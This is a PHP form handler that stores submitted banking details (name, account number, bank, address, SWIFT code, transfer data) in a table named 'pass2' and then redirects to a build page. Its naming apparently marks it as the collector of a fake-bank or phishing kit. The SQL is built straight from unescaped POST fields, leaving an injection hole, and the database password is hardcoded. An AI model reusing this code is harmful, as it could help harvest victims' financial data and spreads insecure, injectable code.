<?php
$dbhost = "localhost";
$dbuser = "satellitebnk_is";
$dbpassword = "60803144_ME";
$dbdatabase = "satellitebnk_if";
$db = mysql_connect($dbhost, $dbuser, $dbpassword);
mysql_select_db($dbdatabase, $db);
$con = mysql_connect("localhost","satellitebnk_is","60803144_ME");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db("my_db", $con);

$sql="INSERT INTO pass2 (Name, Number, Bankname, Address, Country, Date, Swift, Transfer)
VALUES
('$_POST[name]','$_POST[number]','$_POST[bankname]','$_POST[address]','$_POST[country]','$_POST[date]','$_POST[swift]','$_POST[transfer]')";


if (!mysql_query($sql,$con))
  {
  die('Error: ' . mysql_error());
  }
header('Location: master2/build/index.html');

mysql_close($con)
?>
